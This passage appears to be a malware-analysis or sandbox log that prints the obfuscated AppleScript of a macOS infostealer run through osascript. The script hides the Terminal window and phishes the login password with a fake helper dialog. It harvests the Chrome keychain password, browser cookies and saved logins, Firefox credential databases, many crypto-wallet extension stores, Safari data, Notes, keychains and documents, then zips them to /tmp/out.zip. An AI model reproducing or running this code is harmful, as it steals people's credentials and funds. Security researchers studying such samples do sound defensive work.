2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return'"
1⤵
PID:476

/usr/bin/osascript
osascript -e "tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 